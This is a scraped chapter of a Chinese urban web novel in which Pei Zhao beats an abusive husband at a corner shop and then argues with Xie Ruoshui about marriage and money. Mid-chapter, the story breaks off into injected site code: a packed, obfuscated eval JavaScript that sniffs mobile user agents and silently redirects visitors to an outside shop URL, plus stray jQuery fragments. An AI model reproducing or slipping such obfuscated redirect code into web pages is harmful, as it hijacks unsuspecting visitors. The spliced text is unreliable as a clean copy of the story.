文趣网 > 都市小说 > 黄澄澄的小摊车 > 27.一朵闪亮的奇葩
    油泼牛肉真是相当美味了,削的薄薄的,洒上蒜泥和香葱,热油一淋,在滋滋声卷曲起来,上桌刚好七分熟。

    除了油泼牛肉,还有煎牛排,裴昭没想到谢若水会煎牛排,外层焦黄,里层红嫩,口感相当好。

    他已经很长时间没吃牛排了。

    虽然是用筷子夹着吃的那种。

    扫荡完一大盘牛排,裴昭舒服地靠在椅子里,阖着眼,嘴上泛着滋润的油光。

    谢若水好笑地看着他,“你去睡觉吧,我来洗就好了。”

    “没事儿,洗个碗而已。”裴昭站了起来。

    “中午好好睡一觉,”谢若水说,“我中午不包馄饨了,不吵你。”

    “嗯……”裴昭应得都有些含混了。

    困是真困了,一倒头就能睡着的程度,但碗才收进厨房,客厅门就被敲响了。

    房东老太太的声音在外面响起:“小谢啊,小谢?”

    “哎!”谢若水走到门口开门,一脸的诧异,“奶,你怎么上来了?”

    老太太腿脚不好,走楼梯有些遭罪,歪着身子,眼里流露出恳求,“小谢,我那个孙女婿又来了。”

    谢若水明白她的意思,一个老太太,一个带孩子的年轻女人,面对男方那一大家子,只怕没什么底气。

    这种事儿很不好掺和,但老太太都求到面前了,拒绝的话也说不出口。

    “裴昭!”谢若水回头喊。

    “嗯,”裴昭洗干净手出来,“走吧。”

    老太太看见他顿时松了一口气。

    “奶,”谢若水换上布鞋,没拉后跟,就这么踩着出去了,“你那孙媳到底咋想的?还过不过?”

    “咋不过?”老太太说,“孩子都这么大了,咋不过?”

    裴昭掩上门,有些震惊地回头。

    谢若水倒很平静,仿佛早已猜到了结局,小心翼翼地扶着老太太下楼。

    方晓东和他带来的人已经把小卖部围得水泄不通了,赵小艳在收银台,小孩儿没在。

    一群乌泱泱的男女围着一个憔悴的女人,像一堆臭石头压着一棵小草,怎么都挣不出来。

    “你把我儿子藏起来干什么?”方晓东压着音量,即便压着了,情绪还是能从不稳的声线里溢出来。

    “那是我儿子!”赵小艳尖声说,“球球长这么大你管过他什么?你有什么资格跟我要儿子!”

    “他长这么大不是我养的?”方晓东吼,“我不拿钱你出去乞讨啊?”

    “我求你了?”赵小艳指着他,“当初不是你自己让我在家带孩子的?我求你了?要不是你一把鼻涕一把泪求我,我还不稀罕嫁给你!”

    “蹬鼻子上脸的玩意儿,都是给你惯的!”方晓东面目狰狞,脖子已经发红了。

    谢若水估计他是有什么心理问题,要不就是生理问题,三言两语能愤怒成这样。

    “你到底是来谈和的,还是来吵架的,”老太太出声了,“你要吵架你就回去,不然我报……”

    方晓东头都没回,一把抄起收银台上的座机,狠狠摔地上。

    “嘭”的一声,电线都被扯断了,两颗塑料按钮崩了出来。

    别说老太太,就连方晓东自己带来的人都吓了一跳。

    在长达五秒的寂静之后,方晓东猛地扭头,眼神凶残得像要吃人:“你报什么?你电话都是老子给你装的!你报什么报!”

    老太太浑身发抖,撑在谢若水胳膊上的手不住颤栗。

    谢若水扶稳她,“方大哥……”

    不等她和稀泥,赵小艳尖叫着推了方晓东一把,“你冲我奶吼什么!滚!我再也不想看见你!滚!”

    方晓东登时抡起胳膊。

    裴昭没忘记自己的任务,上前两步,一把将赵小艳拽到身后,抬眼看着他。

    方晓东眼睛跟他一对就变了脸色,“怎么又是你!”

    “啊,”裴昭偏过脸,“看到了吗?”

    “……什么?”方晓东急促地喘着粗气。

    “你大爸的脸!”裴昭话音一落,一拳招呼上去。

    “哗——”周围的人都慌张且愤怒的喊了起来,七嘴八舌的,听不清到底在喊什么。

    谢若水属实没想到这人竟然是来公报私仇的,连忙过去拉人,“裴昭!”

    “老子今天就要打服他!”裴昭把方晓东按在收银台上,百忙之中回头看她一眼,“你别拦我!不然我手抖就真让他死这儿了啊!”

    谢若水看了看他的眼睛,抬手把另一个想拉偏架的人拦住了。

    裴昭的确在生气,但眼睛还是黑白分明的,没有那种怒急之下丧失理智的眼神。

    方晓东个子矮,体格也不行,和裴昭过招没有任何胜算,即便裴昭一夜没睡,两拳下去也让他失去了方向感。

    裴昭把他掀到地上,脑袋往座机上一磕,整张脸涨得通红,呲着牙,口水乱流。

    裴昭一只膝盖的压着他的腿,把他双手背到身后,“能不能好好说话了?”

    方晓东拼命挣扎,脖子上青筋都快钻出来了,“你他……”

    裴昭抓着他的头发往座机上一磕,低吼一声:“能不能?”

    方晓东痛哼一声,拱起背,“老子……”

    裴昭又抓起他的头发往座机上一磕。

    “砰!”

    座机一整个砸碎了,方晓东带来的几个亲友几番试图上前,老太太一把老骨头往他们面前一杵,顶住了。

    小卖部围得密密匝匝,男人女人疯狂指责,伴随着拳拳到肉的声响。

    空气里的暴躁因子闷得人喘不上气儿,赵小艳看着自己男人面目狰狞的脸,咬咬牙,上去拉裴昭,“别打了别打了!别打了!你干嘛打人啊!”

    裴昭骑在方晓东身上,浑身肌肉都因为打斗紧绷着,脑袋里热血翻涌,闻声骤然冷却下来。

    谢若水说得对。

    在看人这件事上,谢若水比他强太多了。

    方晓东已经被打得晕头转向,裴昭起来之后,他还趴在地上,浑浑噩噩的,鼻血淌了一脸。

    赵小艳拿纸巾给他擦,方晓东挥开她的手,赵小艳继续擦,方晓东又挥,赵小艳就哭了。

    夫妻俩拉拉扯扯,在亲友的劝说下开始表演虐恋情深。

    裴昭走出人群,甩了甩沾血的右手,“我还以为最后拉我的人会是你。”

    “这不是看你打得开心么。”谢若水抱着胳膊靠在货架上。

    “我是说,赵小艳竟然会来拉我。”裴昭说。

    “那是人家老公,”谢若水转身往后门走,“让你打坏了谁赚钱养家?”

    “这就走了?”裴昭感觉自己还没有发挥作用。

    他们是来为赵小艳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596038|203557||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    撑腰的,但现在谈判还没开始。

    不过应该不需要谈了……

    夫妻俩已经抱上了。

    裴昭有点不能接受,“都这样了还在一块儿,真搞不懂赵小艳在想什么。”

    “钱。”谢若水穿过晒着被芯的院子,慢吞吞地上楼。

    裴昭很意外她会冒出这个字,挥开挡脸的被芯,看着她淡定的背影,“犯得着为了钱委屈自己?自己挣不行吗?”

    “这么好挣啊,”谢若水好笑,“有什么好路子?不如介绍给我?”

    裴昭一噎,“摆摊不就挺好,你还养不起一个小孩儿?”

    “你明天去带个孩子,”谢若水说,“都不要你挣钱,你带孩子骑两天三轮,不哭不闹算你赢。”

    裴昭不说话了。

    没感受过柴米油盐的压力,应该体会过带小孩儿的压力。

    单亲妈妈那是第一批义务教育的对象进入婚姻阶段以后才多起来的,赵小艳生早了几年,知识没有降临到她的命运里。

    离婚也不是不行,但孩子肯定养不起。

    要是有个正常爹就算了,狠狠心就扔了,但方晓东那样的爹,把孩子留那儿,跟亲手杀了有什么区别?

    只有忍。

    裴昭不会懂,他是有一技之长的人,碰上事第一个念头就是——啊,大不了自己养自己。

    “你不是会屈服的人。”裴昭坚持着自己的理想主义。

    谢若水站在出租屋门口,叹了口气,“不是屈服不屈服的问题,非要扯个词,应该叫认清现实。”

    裴昭看着她。

    “穷人家的姑娘,比起富裕人家的千金,在婚姻上势必要吃亏一些的,”谢若水说,“她要是离婚,奶奶这年纪了显然接不住她,自己一个人就算了,偏偏还有个孩子。”

    裴昭默了几秒,“你太悲观了。”

    “你太乐观了,”谢若水推开门进屋,“你没预想过一个没文化的女人带着一个没上小学的儿子要怎么过日子,结婚风险原本就比做生意高,只有顶聪明的人才有可能盈利,可惜世上没有那么多聪明的姑娘,大多数人在领证盖章的时候,根本没做过风险预案。”

    裴昭在这件事上没有办法跟谢若水较量,因为他做生意已经失败了。

    可他就不愿意听谢若水说这些话,搞得好像婚姻是什么洪水猛兽,进不得也退不得。

    他企图掰正谢若水的婚姻观:“婚姻是以感情为基础的,有感情的人不会让你陷入你预设的风险。”

    谢若水轻轻“嘶”了一声,回过头,诧异地看着他。

    这真是一朵闪亮的奇葩。

    让人骗得倾家荡产颜面扫地,在工作室一个人做了十几个人半年的工作,现在竟然还说得出“感情”两个字。

    回想自己刚才的话,谢若水觉得自己是有些片面了。

    因为她没见过裴昭这样万里挑一的傻子。

    前有陈丙前妻,后有馄饨厂三四十还出来做流水线的女工们,再见到赵小艳那样的女人,她很难拿良好的心态去看待婚姻。

    “裴昭,”谢若水笃定地告诉他,“你会碰上那个有感情的人。”

    裴昭没太明白,“我不是在说我……”

    谢若水说:“你这样的傻子,离了还不如放着,没准儿哪天哄一哄又能用上。”

    裴昭:“……”